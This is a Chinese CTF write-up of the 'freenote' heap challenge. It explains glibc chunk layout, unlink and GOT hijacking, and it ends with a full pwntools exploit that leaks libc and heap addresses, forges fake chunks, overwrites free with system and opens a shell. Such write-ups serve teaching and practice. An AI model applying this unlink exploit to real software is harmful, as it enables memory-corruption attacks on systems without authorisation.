freenote writeup
目的
- 学习pwn基本套路
- 学习堆相关漏洞和利用:unlink、堆的结构、free的流程
题目
笔记本题目:
4个重要选项如上所示,选项代码如下所示:

InitNote:

初始化整个note的内存,共0x1810字节,前16字节为头部信息,分别是最大note数(note_buf: 0x100),当前note数(note_buf+8: 0);
接下来初始化每个note的结构,每个note 24字节,第一个8字节(note_buf + 24*i + 16)表示该note是否被使用,第二个8字节(note_buf + 24*i + 24)为note长度,第三个8字节(note_buf + 24*i + 32)为note_buf的地址。所以整个笔记本的结构如下:
Note结构:
address
============
0 7 -----> max_note_size
============
8 15 ------->note_num
**==================**
16 23 ------> 1(occupied or not)
============
24 31------->note_len
============
32 39---------->buf_addr
**==================**
…
ListNote:
listnote函数中存在一个可利用的漏洞,printf("%d. %s\n", …)使用%s输出地址note_buf+24*i+32的内容,%s会输出0x00前面所有的内容,所以可以用来泄漏堆的地址,从而得出libc和程序堆的开始地址。
NewNote:

newnote函数没有漏洞,但是可以看出,note_addr是如何布局的:
note_buf+24*i+offset
**==================**
16 23 ------> 1(occupied or not)
============
24 31------->note_len
============
32 39---------->buf_addr
**==================**
EditNote:
editnote没有漏洞,可以看出,当新的note和原来note长度一样,那么就不会调用realloc来重新分配内存,而是直接在note_buf中保存的note_addr中写数据。
DeleteNote:

DeleteNote中在删除note时,没有判断当前note是否已经被释放(可用来unlink),并且释放后没有将note_addr置NULL(可结合前面printf %s的漏洞,泄漏堆地址)
预备知识
下面讲解本地涉及到的知识,不想看的可直接绕过。
堆
当程序首次调用malloc函数分配内存时,glibc会通过系统调用给程序分配内存空间,这块空间即是堆heap,在整个程序中的位置如下:
通过gdb插件gef的vmmap可以看到,heap(红框)的位置在较低地址,而stack在高地址,整个地址空间中还存放有其他的内容,在本题中,程序通过initnote函数分配的note_buf开始地址就为0x193d000,也就是整个堆的开始地址。
chunk
chunk是程序通过malloc函数分配的内容块,chunk和chunk之间是在物理地址上相邻的,chunk分配malloc chunk和free chunk两种,
Malloc chunk(被分配正在使用的chunk)的结构如下:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 前一个chunk大小(prev_size), if unallocated (P = 0) | 每一行大小为8字节(64位机器)
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 本chunk的大小 (最后三比特)|A|M|P|P表示前一个chunk是否为malloc chunk
mem-> + - + - + - + - + - + - + + + + + + + + + + - + - + - + - + - + - +
| 用户数据.. |
| |
| (通过malloc分配内存时,返回值就是这块的开始地址,即上面的mem) |
next | |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |(下一个chunk)
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
上面是示意图,实际内存情况如下:
某个chunk开始地址为0x193e820;
malloc返回给用户使用的是0x193e830;
前0x10字节可以看作是头部,内容就是前一个chunk的大小(prev_size)和本chunk的大小(size);
图里前一个chunk的大小为0,因为当前chunk正在被使用,prev_size域是前一个chunk的数据内容。当前chunk大小为0x90,但是图里是0x91,因为它的P为是1,表示前一个chunk正在被使用,如果前一个chunk被释放了,那么就会显示0x90;

下一个chunk同理,prev_size为0,p位为1,说明绿框的那个chunk正在被使用;
free chunk(调用free函数释放chunk之后)结构如下:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 前一个chunk大小(prev_size)(P = 1) | 每一行大小为8字节(64位机器)
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | 本chunk的大小 (最后三比特)|A|M|P|
mem-> + - + - +- + - + - + - + - + + + + + + + + + + - + - + - + - + - +
| fd指针,链表中下一个free chunk的地址。 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| bk指针,链表中上一个free chunk的地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |下一个chunk
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|(P=0)前一个chunk被释放了
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
被释放的chunk在内存中的情况如下,0x10c68b0地址所在的chunk被释放了头部下面的0x10字节就被替换成了链表中头节点的指针(当前链表中就这一个free chunk,所以fd和bk指针都头节点的指针)

观察绿框chunk下面那个chunk的头部,因为绿框chunk被free,可以看到prev_size变为了0x90,size也变成了0x90(P位变成了0)。
总的来说,一个chunk的的头部在释放前和释放后会发生变化,主要在prev_size域,size域的p位表示前一个chunk是否释放。data域的开始0x10字节在释放后变成free链表(0x90的chunk会放到unsorted bin)的下一个和上一个free chunk地址。
main arena
main arena是libc库中的一个数据机构,其中有一个bins数组,它保存了不同的bin(unsorted bin、fastbin、small bin等等),每个bins保存了不同大小的free chunk。具体的结构我没有详细分析,留以后分析。本题只利用了main arena里面的unsorted bin头指针地址来泄漏libc地址。
main arena和chunk的关系:
比如如下两个free chunk,被放入到了unsorted bins里面去
main_arena实际内存分布如下,地址0x00007f7858635b78上,可以看到main_arena+88到main_arena+104上位unsorted bin,+104上位fd和bk的指针:
free chunk:0x0000000001d94940,fd指向0x0000000001d94820,bk位main_arene头部
free chunk:0x0000000001d94820,fd指向main_arena头部,bk为0x0000000001d94940
unlink
unlink为libc中的一个宏,当free某个chunk时,free函数会根据本块的头部size信息检查相邻的两个chunk是否为free chunk,如果是free chunk,会使用prev_size找到上一个chunk,把它从bins链表中取下来,这个操作就是unlink。
目的:unlink业务上的目的就是为了把free chunk从bin链表下取下来。ctf中可以利用它修改指定地址的值,达到任意地址写的目的;
但是unlink时会进行一个校验:
#define unlink(P, BK, FD){
//P为待unlink的chunk
FD = P -> fd
BK = P -> bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
...
FD -> bk = BK/* 相当于 (P -> fd -> bk = P -> bk) */
BK -> fd = FD /* 相当于 (P -> bk -> fd = P -> fd) */
...
}
if语句要求p的fd指向的chunk的bk域为P,同时p的bk指向的chunk的fd域为p。
方式:如果利用unlink来实现任意地址写
首先需要绕过校验,为了绕过这个判断,我们需要伪造一个free chunk,然后用它来执行unlink操作。过程如下:
FD -> bk ==> *(FD + 0x18)
如果要FD -> bk = P,那么有*(FD + 0x18)= P ==> FD + 0x18 = &P ==> FD = &P - 0x18
如果要BK -> fd = P, 那么有*(BK + 0x10)= P ==> BK + 0x10 = &P ==> BK = &P - 0x10
所以如果要绕过if检查,那么P的fd和bk上面应该分别存&P - 0x18和&P - 0x10,这里**&P为保存这个chunk地址的地址**,一般为某个管理对象的地址,在本题中,就是note_buf的某个地址(它里面不就保存了每个note的addr)。
参考下图图,fake chunk为待unlink的chunk,伪造之后的fd和bk为右边

接下来就可以绕过if检查,并修改目标地址的内容(ctf wiki可能讲的更细节https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/)
FD -> bk = BK
BK -> fd = FD
这个时候FD -> bk=&P - 0x18 + 0x18=&P,FD -> bk = BK之后,&P上保存了&P-0x10
同理,BK -> fd = FD之后,&P上保存了&P-0x18
所以上诉操作之后,&P上保存&P-0x18的地址。
由于&P为管理对象的地址,本题中为note_buf的地址,下次edit该note时,写入的地址就变成了&P-0x18,这样我们就可以通过edit将写入地址再次修改为其他其他地址,比如将某个函数的got表中的地址修改为system函数,达到函数劫持的目的,具体在后面分析。
got表劫持
got劫持的意思是修改某个函数在got表中的函数地址,函数调用的顺序:跳转到某个函数的got表表项,该表项上保存了该函数的真正地址,比如free函数,示意图如下所示:

如果我们能够修改got表中的free函数的地址为sytem,那么调用free函数时,就会跳转到system,从而实现got劫持。本题中可以使用unlink来实现。
解题
漏洞
该题总共有2个漏洞可以利用:
- printf(%s,xxxxx)泄漏堆地址;
- deleteNote中没有把指针置null,可以使用unlink实现任意地址写,劫持free或者其他函数;
漏洞利用
地址泄漏
- libc地址泄漏
首先需要泄漏一些必要的地址,比如libc还有堆开始地址
libc的地址可以通过main arena地址计算
newNote(0x80, 'a'*0x80)#0
newNote(0x80, 'b'*0x80)#1
newNote(0x80, 'c'*0x80)#2
deleteNote(1)
deleteNote(0)
newNote(0x90, 'd'*0x90)
listNote()
建立三个note,删除相邻的两个note,比如删除0和1号note,删除之后0和1头部下面0x10字节都会带有main_arena的地址:

如上图,由于删除和新建note都不会对内存块进行清除,而且listnote会一直输出0x00之前的字符,所以这时候可以新建一个note,把1号note的fd和bk地址前的0x00都填满,这样list就能把地址输出了,这个地址就是main_arena+88的地址,根据main_arena在libc中的偏移,就能计算出libc的地址:

libc_addr = u64(tmp_arena_addr) - 88 - 0x3C2760
注:main_arena在libc中的偏移可以从libcso中拿到:

它在malloc_trim函数中,位置如上所示,不同版本偏移不一样。
-
堆开始地址泄漏
堆地址泄漏需要free不相邻的多个note,形成链,然后再利用listnote函数的漏洞打印地址;
newNote(0x80, '0'*0x80)#0
newNote(0x80, '1'*0x80)#1
newNote(0x80, '2'*0x80)#2
newNote(0x80, '3'*0x80)#3
deleteNote(0)
deleteNote(2)
newNote(8,'/bin//sh')
listNote()
删除0和2号note,然后新建一个note,并写入8字节的数据,这里8字节刚好把fd填充,保留bk,然后输出:

这个0x1000940地址就是2号note的堆地址,具体为啥自己想。然后减去note2的偏移已经整个笔记本的大小0x1820,即可得到堆开始地址。
heap_addr = u64(chunk2_heap_addr) - 0x1820 - 0x120
unlink
(unlink前把之前创建的note删除)
unlink需要伪造chunk,伪造的内容如下:
payload = p64(0)+p64(0x81)+p64(note0_addr-0x18)+p64(note0_addr-0x10) # fake chunk 0 => prev_size | size | fd | bd
payload = payload.ljust(0x80, b'\x33') # fake chunk0 => data
payload += p64(0x80)+p64(0x90) # fakechunk2 => prev_size size
payload = payload.ljust(0x80 + 0x90, b'\x34')# fakechunk1 => data
payload += p64(0x90) + p64(0x91)# fakechunk2 => prev_size | size
payload = payload.ljust(0x80 + 0x90 + 0x90, b'\x35')#这里必须构造4个fake chunk,不然在delete1时会报错,或者出现unlink失败,因为上面分配了4个chunk
payload += p64(0x90) + p64(0x91)# fakechunk3
payload = payload.ljust(0x80 + 0x90 + 0x90 + 0x90, b'\x36')
newNote(len(payload), payload)
deleteNote(1)
我们向note0的chunk中写入伪造的fake数据,如下所示,fake_chunk1要和真正的chunk1刚好对齐,所以fake_data要计算好。

这里我们在chunk0的data里伪造的4个chunk(因为我们之前总共创建了4个chunk)
然后我们deleteNote(1),libc在free chunk1时,利用fake_prev_size计算出fake_chunk0的位置以及P位,发现它是free的,所以执行unlink操作,把它从unsorted bin中取出。实际的内存分布:

可以看到fake fd和bk的值,fake fd指向的是note管理的头部中的note数(也就是note0_addr-0x18,note0_addr是note管理结构中保存note0 buf地址的地址,也就是0x18f9030),在unlink操作之后的内存分布如下所示:
可以看到note0的地址被修改成了note管理的头部中note数的地址,到这里unlink完成。
got劫持
我们利用unlink修改了管理结构中保存note0地址的值为note数的地址,那么这时候editNote(0)就会从note数的地址写,我们写了3个8字节之后就能再次修改保存note0地址中的值,我们把它修改成free函数got表中的地址:

然后再editNote(0),这时候我们就能编辑got表中的内容了,我们把它修改为system函数的地址,就能实现got表劫持:
如上图,0x602018上的地址被修改成了system函数的地址。
由于system需要"/bin/sh"作为参数,我们把它写入到note1中,然后调用free(note1),拿到shell
完整的代码:
from pwn import *
#000000000040106A
# p = process('./freenote_x64')
# p = remote('pwn2.jarvisoj.com',9886)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p=gdb.debug('./freenote_x64', gdbscript='''b *0x400CCE
b *0x401086
b *0x400E19
''')
elf = ELF('./freenote_x64')
libc = ELF('./libc-2.19.so')
libc223 = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def newNote(length, content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(length))
p.recvuntil('Enter your note: ')
p.send(content)
sleep(0.2)
def deleteNote(number):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(number))
def editNote(number, length, content):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(number))
p.recvuntil('Length of note: ')
p.sendline(str(length))
p.recvuntil('Enter your note: ')
p.send(content)
def listNote():
p.recvuntil('Your choice: ')
p.sendline('1')
#首先需要泄漏一些必要的地址,比如libc还有堆开始地址
#libc的地址可以通过main arena地址计算
# leak the address of libc
newNote(0x80, 'a'*0x80)#0
newNote(0x80, 'b'*0x80)#1
newNote(0x80, 'c'*0x80)#2
deleteNote(1)
deleteNote(0)
newNote(0x90, 'd'*0x90)
listNote()
p.recv(3)
p.recv(0x90)
tmp_arena_addr = p.recvuntil('\n')[0:-1]
tmp_arena_addr = tmp_arena_addr.ljust(8,b'\x00') #byte 2.23:0x3C4B20 2.19:0x3C2760
libc_addr = u64(tmp_arena_addr) - 88 - 0x3C2760
system_addr = libc_addr + libc.symbols['system']
print('libc_addr ==> '+hex(libc_addr))
deleteNote(0)
deleteNote(2)
#leak heap address(notebook address)
newNote(0x80, '0'*0x80)#0
newNote(0x80, '1'*0x80)#1
newNote(0x80, '2'*0x80)#2
newNote(0x80, '3'*0x80)#3
deleteNote(0)
deleteNote(2)
newNote(8,'/bin//sh')
listNote()
p.recv(3)
p.recv(8)
chunk2_heap_addr = p.recvuntil(b'\x0a')[0:-1].ljust(8 ,b'\x00') #chunk 2
print('tmp_heap_addr ==> ' + hex(u64(chunk2_heap_addr)))
# the address of heap start point
heap_addr = u64(chunk2_heap_addr) - 0x1820 - 0x120
print('heap_address ==> ' + hex(heap_addr))
#note0_addr为note0的结构体开始地址,其中的内容就包括了表示是否使用的域、note长度、note buff的地址;
note0_addr = heap_addr + 0x30
#unlink
deleteNote(0)
deleteNote(1)
deleteNote(3)
# unlink的目的就是为了让libc能够把note0_addr里面的note buff地址修改为note0_addr的是否使用域的地址,这样,下次edit的时候,就是从是否使用域开始修改,可以一直修改到note buff的地址位置
# +--------------+
# |0x00 0x81| fakechunk 0
# |psize size|
# |.....\x33.....|
# |0x80 0x90| fakechunk 1
# |
payload = p64(0)+p64(0x81)+p64(note0_addr-0x18)+p64(note0_addr-0x10) # fake chunk 0 => prev_size | size | fd | bd
payload = payload.ljust(0x80, b'\x33') # fake chunk0 => data
payload += p64(0x80)+p64(0x90) # fakechunk2 => prev_size size
payload = payload.ljust(0x80 + 0x90, b'\x34')# fakechunk1 => data
payload += p64(0x90) + p64(0x91)# fakechunk2 => prev_size | size
payload = payload.ljust(0x80 + 0x90 + 0x90, b'\x35')#这里必须构造4个fake chunk,不然在delete1时会报错,或者出现unlink失败,因为上面分配了4个chunk
payload += p64(0x90) + p64(0x91)# fakechunk3
payload = payload.ljust(0x80 + 0x90 + 0x90 + 0x90, b'\x36')
newNote(len(payload), payload)
deleteNote(1)
len_ = len(payload)
#hijack got free
payload2 = p64(2) + p64(1) + p64(0x8) + p64(elf.got['free']) + p64(1) + p64(0x8) + p64(u64(chunk2_heap_addr) - 0x90 + 0x10)
payload2 = payload2.ljust(len_, b'\x11')
editNote(0, len_, payload2)
editNote(0, 0x8, p64(system_addr))
editNote(1, 0x8, '/bin/sh\x00')
deleteNote(1)
p.interactive()